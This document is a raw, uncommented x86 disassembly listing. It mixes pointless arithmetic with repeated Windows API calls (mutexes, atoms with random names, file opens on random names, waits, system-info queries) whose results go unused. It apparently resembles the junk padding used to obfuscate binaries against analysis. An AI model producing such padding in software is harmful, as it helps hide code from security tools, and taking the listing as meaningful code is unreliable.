push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x43e8], eax
movsx edx, byte [ebp - 0x120]
mov eax, dword [0x100b9ff8]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100ba264]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x3d]
mov edx, dword [0x100ba564]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x14], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba9ec], eax
lea ecx, [ebp - 0x1280]
mov dword [ebp - 0x43ec], ecx
lea edx, [ebp - 0xafc0]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.Kisyhe_V7Iht7w
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba9f0], ax
mov eax, dword [0x100ba3ec]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3818]
movzx eax, word [edx]
sub ecx, eax
mov word [0x100ba968], cx
mov ecx, dword [ebp - 0x2ba4]
or ecx, dword [ebp - 0x42bc]
mov edx, dword [ebp - 0x38cc]
mov dword [edx], ecx
mov eax, dword [0x100ba340]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x13a4]
shl edx, cl
mov word [ebp - 0x125c], dx
push 0xe0a
push 0
lea eax, [ebp - 0x3b38]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba1a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x43f0], eax
mov ecx, dword [0x100b96f4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3768]
sar edx, cl
mov dword [0x100b7358], edx
lea eax, [ebp - 0x2a9]
mov dword [ebp - 0x43f4], eax
lea ecx, [ebp - 0x9d78]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x37c4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2ce]
and eax, ecx
mov byte [0x100b71bb], al
mov edx, dword [ebp - 0x39a8]
movzx eax, word [edx]
imul ecx, eax, 0xd5
mov edx, dword [ebp - 0x3830]
mov word [edx], cx
mov dword [ebp - 0x43f8], 0x100ba23c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba9f4], eax
push 0
push 0x80
push 3
push 0
push 4
push 0x40000000
push str.zcx3KjJyhvMlenZnC
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x43fc], eax
mov eax, dword [ebp - 0x437c]
mov ecx, dword [eax]
mov dword [0x100ba9f8], ecx
movsx edx, word [ebp - 0x5c0]
mov eax, dword [ebp - 0x36ac]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x7c4], dx
mov edx, dword [0x100b99cc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x28c]
add eax, ecx
mov byte [ebp - 0x104], al
mov edx, dword [ebp - 0x33e4]
mov al, byte [edx]
mov byte [0x100b8172], al
mov ecx, dword [ebp - 0x39b0]
movsx edx, byte [ecx]
mov eax, dword [0x100b96d0]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3be0]
mov byte [eax], dl
mov ecx, dword [0x100ba6c8]
mov dword [ebp - 0x4400], ecx
mov edx, dword [ebp - 0x4164]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x61c]
sar eax, cl
mov ecx, dword [0x100b9db8]
mov word [ecx], ax
movsx edx, word [ebp - 0x1270]
movsx ecx, word [0x100b72a8]
shl edx, cl
mov word [ebp - 0x698], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba8ac], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba9fc], eax
mov eax, dword [ebp - 0x35d8]
mov ecx, dword [ebp - 0x2ce8]
or ecx, dword [eax]
mov dword [ebp - 0x2cc0], ecx
movzx edx, byte [ebp - 0x27f]
mov eax, dword [0x100ba2cc]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7df7], dl
mov edx, dword [ebp - 0x35c4]
movsx eax, byte [edx]
cdq
mov ecx, 0x11
idiv ecx
mov byte [ebp - 0x134], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3948], eax
mov edx, dword [0x100ba028]
mov dword [ebp - 0x4404], edx
mov eax, dword [ebp - 0x3b04]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x35e4]
movzx eax, word [edx]
add ecx, eax
mov word [0x100b735c], cx
mov ecx, dword [0x100ba038]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x37f0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1348]
and eax, ecx
mov edx, dword [ebp - 0x3fec]
mov word [edx], ax
mov eax, dword [ebp - 0x3818]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3540]
movzx eax, word [edx]
imul ecx, eax
mov word [ebp - 0xf84], cx
mov ecx, dword [ebp - 0x3454]
mov dl, byte [ecx]
mov byte [0x100b8173], dl
push 0
push 4
push 3
push 0
push 2
push 0x80000000
push str.in_rs_sSQU3zngQ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4408], eax
push str.MUFn
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baa00], ax
mov eax, dword [ebp - 0x3a2c]
mov ecx, dword [ebp - 0x3acc]
shr eax, cl
mov ecx, dword [ebp - 0x3a4c]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x440c], eax
mov dword [ebp - 0x4410], 0x100ba664
movsx edx, byte [ebp - 0x73]
mov eax, dword [ebp - 0x3b88]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x100b9b5c]
mov byte [eax], dl
mov cx, word [0x100b9b9c]
mov word [ebp - 0x14f0], cx
push 0x2272
mov edx, dword [ebp - 0x39d8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba6e0], eax
mov eax, dword [ebp - 0x4078]
movsx edx, word [eax]
mov eax, dword [ebp - 0x3cb0]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x12e8], dx
mov dword [0x100baa04], 0x100b7156
lea ecx, [ebp - 0x2cd]
mov dword [ebp - 0x4414], ecx
mov edx, dword [ebp - 0x37ec]
or edx, dword [0x100ba6dc]
mov dword [ebp - 0x3064], edx
mov eax, dword [ebp - 0x2ad0]
add eax, dword [0x100b9e28]
mov dword [0x100b7234], eax
mov ecx, dword [ebp - 0x3984]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xbb]
and edx, eax
mov byte [ebp - 0x2c4], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100baa08], eax
lea ecx, [ebp - 0xf80]
mov dword [ebp - 0x4418], ecx
movsx edx, word [0x100b72ec]
movsx ecx, word [ebp - 0xed8]
sar edx, cl
mov word [0x100b7360], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x441c], eax
mov eax, dword [ebp - 0x38c0]
movzx ecx, byte [eax]
movzx edx, byte [0x100b7e72]
xor ecx, edx
mov byte [ebp - 0xc2], cl
mov eax, dword [0x100b96f8]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x39c4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100baa0c], eax
movzx ecx, word [ebp - 0x1378]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x14f4], ax
mov ecx, dword [ebp - 0x35b8]
mov eax, dword [0x100b7354]
cdq
idiv dword [ecx]
mov edx, dword [ebp - 0x3a50]
mov dword [edx], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba568], eax
movzx eax, word [ebp - 0x11a0]
movzx ecx, word [0x100b721c]
shl eax, cl
mov ecx, dword [0x100b9a2c]
mov word [ecx], ax
mov edx, dword [ebp - 0x2cb0]
add edx, dword [0x100b72d4]
mov dword [ebp - 0x3044], edx
mov dword [ebp - 0x4420], 0x100b71c7
mov ax, word [ebp - 0xbe8]
mov word [0x100baa10], ax
lea ecx, [ebp - 0x2cc]
mov dword [ebp - 0x4424], ecx
push 0
push 0x100
push 5
push 0
push 2
push 0x40000000
push str.UNaNjHyxEp5GS2VuRMCk
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4428], eax
mov edx, dword [0x100b71c8]
and edx, dword [0x100b7200]
mov eax, dword [ebp - 0x3a40]
mov dword [eax], edx
mov ecx, dword [0x100b9d14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100baa14], eax
movzx edx, word [ebp - 0x1188]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba8b0], ax
movsx eax, byte [ebp - 0x69]
mov ecx, dword [0x100ba9a8]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x100b7d97], al
lea eax, [ebp - 0xb14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [ebp - 0x13d0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100baa18], ax
lea edx, [ebp - 0x13ac]
mov dword [ebp - 0x442c], edx
mov eax, dword [ebp - 0x3e48]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x1454]
sar edx, cl
mov eax, dword [ebp - 0x3ee4]
mov word [eax], dx
mov ecx, dword [ebp - 0x4330]
mov edx, dword [ebp - 0x4140]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [0x100b9b10]
mov dword [ecx], eax
mov edx, dword [0x100ba8bc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xbec]
add eax, ecx
mov edx, dword [ebp - 0x37f0]
mov word [edx], ax
movzx eax, word [0x100ba9b8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x132c], ax
mov ecx, dword [ebp - 0x420c]
mov dl, byte [ecx]
mov byte [ebp - 0x2cf], dl
mov eax, dword [ebp - 0x3980]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3170]
mov dword [0x100b7364], ecx
push str.UlKjPmgb_vXRVd2_NGpZuNB
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14f8], ax
push str.FTuZby_VN7.R6e1_A9UAG
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baa1c], ax
mov edx, dword [ebp - 0x40b8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xc3]
sub eax, ecx
mov byte [ebp - 0x1f2], al
lea edx, [ebp - 0x108c]
mov dword [ebp - 0x4430], edx
mov eax, dword [ebp - 0x42ec]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x1210]
shl edx, cl
mov word [0x100b72bc], dx
movsx eax, byte [ebp - 0x285]
mov ecx, dword [0x100ba538]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x143], al
lea eax, [ebp - 0x2cc0]
mov dword [0x100baa20], eax
movsx ecx, word [ebp - 0x14ec]
mov edx, dword [ebp - 0x3ae4]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x784], cx
mov dword [ebp - 0x4434], 0x100b802f
lea ecx, [ebp - 0x2afc]
mov dword [0x100baa24], ecx
push str.JJhiR_RMz_PnmZS
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14fc], ax
mov edx, dword [ebp - 0x3c44]
movzx eax, word [edx]
mov ecx, dword [0x100ba530]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x1150], ax
mov edx, dword [ebp - 0x3c7c]
mov dword [ebp - 0x4438], edx
movsx eax, word [ebp - 0xee8]
mov ecx, dword [0x100b951c]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [0x100b99d0]
mov word [ecx], ax
mov edx, dword [ebp - 0x4250]
mov eax, dword [edx]
and eax, dword [0x100b7350]
mov ecx, dword [ebp - 0x3b1c]
mov dword [ecx], eax
mov dl, byte [ebp - 0x91]
mov byte [ebp - 0x2d0], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100baa28], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x43b8], eax
mov eax, dword [0x100ba998]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1ee]
xor ecx, edx
mov eax, dword [0x100ba7d4]
mov byte [eax], cl
movsx edx, byte [ebp - 0x14a]
mov eax, dword [ebp - 0x4080]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x88], dl
push 2
lea ecx, [ebp - 0x9864]
push ecx
mov edx, dword [0x100baa34]
push edx
mov eax, dword [0x100baa30]
push eax
mov ecx, dword [0x100ba118]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x37a8], eax
push 0x100b9c18
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x443c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100baa2c], eax
mov edx, dword [ebp - 0x35e0]
xor edx, dword [0x100b97f8]
mov eax, dword [ebp - 0x4168]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3534]
mov dl, byte [ecx]
mov byte [0x100b81a6], dl
mov dword [ebp - 0x4440], 0x100b72e0
lea eax, [ebp - 0x13ac]
mov dword [ebp - 0x4444], eax
mov ecx, dword [0x100b9934]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.GtaYCjO.w4m_ZGQMWjRzsd
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1500], ax
mov edx, dword [0x100b9ddc]
mov eax, dword [ebp - 0x2bf4]
add eax, dword [edx]
mov dword [0x100ba960], eax
movzx ecx, word [ebp - 0x12f0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba47c], ax
mov edx, dword [ebp - 0x383c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2b6]
sar eax, cl
mov ecx, dword [ebp - 0x39d0]
mov byte [ecx], al
mov edx, dword [ebp - 0x327c]
or edx, dword [ebp - 0x3160]
mov dword [ebp - 0x301c], edx
push 0x100a6e5c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baa38], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3c0c], eax
lea eax, [ebp - 0x155]
mov dword [0x100baa3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100baa40], eax
mov ecx, dword [0x100b9bb8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x43e0]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xc94], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4448], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x41e8], eax
push 0x24a1
push 0
push 0x100ba3d4
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba9b4], eax
movsx edx, word [ebp - 0x125c]
movsx eax, word [ebp - 0x1278]
xor edx, eax
mov ecx, dword [ebp - 0x4274]
mov word [ecx], dx
movsx edx, byte [ebp - 0xc3]
mov eax, dword [ebp - 0x42f0]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x100b7263], dl
mov dword [ebp - 0x444c], 0x100b72c0
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4450], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100baa44], eax
mov edx, dword [0x100ba7fc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x36b8]
shl eax, cl
mov dword [ebp - 0x30c0], eax
mov ecx, dword [ebp - 0x3e68]
mov edx, dword [0x100b7364]
add edx, dword [ecx]
mov dword [0x100b734c], edx
mov eax, dword [ebp - 0x4434]
mov cl, byte [eax]
mov byte [ebp - 0x2d1], cl
movsx edx, word [ebp - 0x14ec]
movsx ecx, word [ebp - 0xbd8]
sar edx, cl
mov word [ebp - 0x884], dx
push 1
push 0x100b9750
mov eax, dword [0x100baa4c]
push eax
mov ecx, dword [0x100baa48]
push ecx
mov edx, dword [ebp - 0x36c4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4454], eax
lea eax, [ebp - 0x107]
mov dword [0x100baa50], eax
movzx ecx, word [ebp - 0x13e0]
movzx edx, word [0x100b9f60]
and ecx, edx
mov word [ebp - 0xb90], cx
mov eax, dword [ebp - 0x3b78]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x3f60]
mov edx, dword [ebp - 0x3cc4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3044]
xor edx, edx
div dword [0x100ba900]
mov ecx, dword [0x100ba1f4]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x257]
movzx eax, byte [0x100b71bb]
xor edx, eax
mov byte [ebp - 0xa3], dl
lea ecx, [ebp - 0xbb]
mov dword [ebp - 0x4458], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b14], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x445c], eax
mov edx, dword [0x100ba228]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3998]
movsx edx, word [ecx]
add eax, edx
mov word [0x100b96b4], ax
push 0x100ba048
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100baa54], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3df4], eax
mov eax, dword [ebp - 0x35fc]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x1100]
shl edx, cl
mov word [ebp - 0x648], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4460], eax
mov eax, dword [0x100ba974]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2ba8]
mov edx, dword [ebp - 0x3928]
mov dword [edx], ecx
mov dword [0x100baa58], 0x100b71da
movzx eax, word [0x100ba5bc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba388], ax
mov ecx, dword [ebp - 0x3ea8]
mov dl, byte [ecx]
mov byte [ebp - 0x2d2], dl
mov eax, dword [ebp - 0x4190]
mov edx, dword [ebp - 0x3a88]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x2db8], edx
lea eax, [ebp - 0x14c8]
mov dword [0x100baa5c], eax
mov ecx, dword [ebp - 0x3724]
mov dx, word [ecx]
mov word [ebp - 0x1504], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3880], eax
lea eax, [ebp - 0x3194]
mov dword [ebp - 0x4464], eax
movsx ecx, byte [ebp - 0x287]
movsx edx, byte [ebp - 0x138]
add ecx, edx
mov byte [0x100b71f7], cl
movzx eax, byte [ebp - 0xe]
movzx ecx, byte [ebp - 0x292]
or eax, ecx
mov byte [ebp - 0x158], al
movzx edx, word [ebp - 0x12c8]
mov eax, dword [ebp - 0x33ec]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x3670]
mov word [eax], dx
push str.Ahaliy
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baa60], ax
push 0
push 0x20
push 5
push 0
push 4
push 0x80000000
push str.Tj1qFCWYObz1U7p9o3G
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4468], eax
lea ecx, [ebp - 0xfd4]
mov dword [0x100baa64], ecx
mov dword [ebp - 0x446c], 0x100b71dc
lea edx, [ebp - 0x698]
mov dword [ebp - 0x4470], edx
mov eax, dword [0x100b9ee8]
sub eax, dword [ebp - 0x2de4]
mov dword [0x100b983c], eax
mov ecx, dword [0x100ba5e4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x3b]
shl edx, cl
mov eax, dword [ebp - 0x3d20]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3abc], eax
push 0x100b9768
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100baa68], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4474], eax
movzx ecx, word [0x100ba5cc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11bc], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4478], eax
push 0x100baa6c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, byte [0x100b71d3]
movzx ecx, byte [ebp - 0xc2]
sar edx, cl
mov byte [0x100b81a6], dl
push str.LNbRFTnv_ffiZ5_Dxo
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1508], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100baa84], eax
mov eax, dword [ebp - 0x3834]
movzx eax, word [eax]
cdq
mov ecx, 0x75f
idiv ecx
mov edx, dword [ebp - 0x3cc0]
mov word [edx], ax
mov eax, dword [ebp - 0x41b0]
add eax, dword [ebp - 0x3c8c]
mov dword [ebp - 0x2d94], eax
mov ecx, dword [ebp - 0x3ef0]
mov edx, dword [ebp - 0x2be8]
and edx, dword [ecx]
mov dword [0x100b7368], edx
push 0x5fc
push 0x3e50
push 0x2175
push 0x2e87
mov eax, dword [0x100b9670]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3c48], eax
mov ecx, dword [0x100ba808]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x12b0]
or edx, eax
mov word [ebp - 0x1338], dx
push str.JGN042Yl
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baa88], ax
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x447c], ecx
mov edx, dword [ebp - 0x4354]
mov al, byte [edx]
mov byte [0x100b81a7], al
mov ecx, dword [ebp - 0x3f90]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3984]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x23f], dl
mov edx, dword [ebp - 0x4000]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3fb4]
shl eax, cl
mov ecx, dword [ebp - 0x37f4]
mov dword [ecx], eax
mov edx, dword [0x100b9cc8]
movzx eax, word [edx]
mov ecx, dword [0x100b9edc]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [0x100ba6e4]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4480], eax
mov ax, word [ebp - 0x788]
mov word [ebp - 0x150c], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba040], eax
mov ecx, dword [0x100ba624]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3654]
mov dword [ebp - 0x2ce8], edx
mov eax, dword [ebp - 0x409c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3a28]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x100b726a], cl
mov ecx, dword [ebp - 0x42b4]
movsx edx, byte [ecx]
mov eax, dword [0x100ba230]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x1be], dl
mov edx, dword [ebp - 0x2af8]
mov dword [ebp - 0x4484], edx
mov eax, dword [ebp - 0x3a80]
movzx ecx, word [eax]
movzx edx, word [0x100b9d68]
xor ecx, edx
mov eax, dword [0x100b9ba8]
mov word [eax], cx
movsx ecx, word [ebp - 0x1298]
movsx edx, word [ebp - 0x788]
xor ecx, edx
mov eax, dword [ebp - 0x3774]
mov word [eax], cx
movzx ecx, word [ebp - 0x14f0]
mov edx, dword [ebp - 0x3a18]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x8e4], cx
mov ecx, dword [ebp - 0x428c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3e60]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x100baa3c]
mov byte [eax], dl
mov ecx, dword [0x100b9f34]
mov edx, dword [0x100b9fb4]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x2e14], eax
push 0xa34
mov ecx, dword [ebp - 0x3bf0]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9ee4], eax
lea edx, [ebp - 0xb170]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4038], eax
push 0x100baa8c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 2
lea eax, [ebp - 0x9854]
push eax
mov ecx, dword [0x100ba7b4]
push ecx
mov edx, dword [0x100ba7b0]
push edx
mov eax, dword [ebp - 0x3d70]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100baaa4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4488], eax
mov ecx, dword [ebp - 0x4074]
mov edx, dword [ecx]
mov ecx, dword [0x100b9b18]
shl edx, cl
mov dword [ebp - 0x3130], edx
mov al, byte [ebp - 0x26a]
mov byte [0x100b81ea], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9900], eax
push str.YhRLu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baaa8], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x448c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x1510], cx
movsx edx, word [ebp - 0x115c]
mov eax, dword [0x100b99d0]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4034]
mov word [ecx], dx
mov edx, dword [ebp - 0x3f18]
movsx eax, byte [edx]
mov ecx, dword [0x100ba124]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100ba198]
mov byte [ecx], al
movzx edx, byte [ebp - 0x1b2]
movzx eax, byte [ebp - 0x2f]
add edx, eax
mov ecx, dword [ebp - 0x33e4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x42b0]
mov eax, dword [ebp - 0x43c4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2bc0], ecx
mov edx, dword [0x100b7244]
mov dword [0x100baaac], edx
mov eax, dword [ebp - 0x371c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x36d0]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4204]
mov byte [ecx], dl
lea edx, [ebp - 0x1370]
mov dword [ebp - 0x4490], edx
lea eax, [ebp - 0x5b8]
mov dword [0x100baab0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b14], eax
movzx edx, byte [ebp - 0x22e]
mov eax, dword [ebp - 0x4028]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xac], dl
mov ecx, dword [ebp - 0x3838]
mov dword [ebp - 0x4494], ecx
mov edx, dword [ebp - 0x33dc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x61c]
or eax, ecx
mov word [0x100b733c], ax
push 0
push 4
push 5
push 0
push 2
push 0x80000000
push str.GiS4aXNbju93R
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100baab4], eax
mov dword [ebp - 0x4498], 0x100ba9c8
movsx edx, byte [ebp - 0xef]
movsx eax, byte [ebp - 0x28]
xor edx, eax
mov ecx, dword [ebp - 0x3e98]
mov byte [ecx], dl
movsx edx, word [ebp - 0xca8]
movsx eax, word [ebp - 0x540]
add edx, eax
mov word [0x100ba180], dx
movzx ecx, byte [ebp - 0x2c3]
movzx edx, byte [ebp - 0x265]
and ecx, edx
mov byte [ebp - 0x289], cl
mov eax, dword [ebp - 0x3e2c]
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x2e84]
mov dword [ebp - 0x2de0], ecx
lea edx, [ebp - 0x29c]
mov dword [0x100baab8], edx
mov eax, dword [0x100b9ed0]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x449c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3a24], eax
mov ecx, dword [ebp - 0x3b60]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x421c]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1004], dx
lea ecx, [ebp - 0x14d4]
mov dword [ebp - 0x44a0], ecx
mov edx, dword [ebp - 0x4498]
mov eax, dword [ebp - 0x2bc0]
sub eax, dword [edx]
mov ecx, dword [0x100ba5d0]
mov dword [ecx], eax
movsx edx, word [ebp - 0x13a4]
mov eax, dword [ebp - 0x3684]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x415c]
mov word [ecx], dx
push 0x100b99ec
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
